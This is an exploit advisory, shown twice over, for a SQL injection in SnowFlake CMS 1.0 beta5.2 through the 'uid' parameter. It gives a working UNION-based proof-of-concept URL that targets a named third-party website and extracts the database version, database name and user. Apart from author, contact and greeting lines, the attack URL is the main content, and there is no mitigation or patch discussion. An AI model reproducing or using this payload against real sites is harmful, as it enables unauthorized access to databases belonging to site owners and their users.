#### # Exploit Title: Powered by SnowFlake Content Management System SQL Injection # # Date: 19th july 2010 # # Author: Dinesh Arora # # Critical:high # # Affected / Tested Version : 1.0 beta5.2 # # Sample Affected Parameter: uid # # contact: dinesh.dinoo@gmail.com # # Greetz to :b0nd, Fbih2s,Beenu,Charles ,j4ckh4x0r, punter,eberly # # Shoutz to : http://www.garage4hackers.com , www.beenuarora.com # # POC: http://www.skimuseum.org/page.php?cid=galleries&uid=1+and+1=2+union+select+1,concat%28version%28%29,0x3a,database%28%29,0x3a,user%28%29%29,3,4,5,6,7-- # # ################# -- ------------------ Regards Dinesh 9999846893 SnowFlake - SQL Injection.txt ################################################################# # Exploit Title: Powered by SnowFlake Content Management System SQL Injection # # Date: 19th july 2010 # # Author: Dinesh Arora # # Critical:high # # Affected / Tested Version : 1.0 beta5.2 # # Sample Affected Parameter: uid # # contact: dinesh.dinoo@gmail.com # # Greetz to :b0nd, Fbih2s,Beenu,Charles ,j4ckh4x0r, punter,eberly # # Shoutz to : http://www.garage4hackers.com , www.beenuarora.com # # POC: http://www.skimuseum.org/page.php?cid=galleries&uid=1+and+1=2+union+select+1,concat%28version%28%29,0x3a,database%28%29,0x3a,user%28%29%29,3,4,5,6,7-- # # #################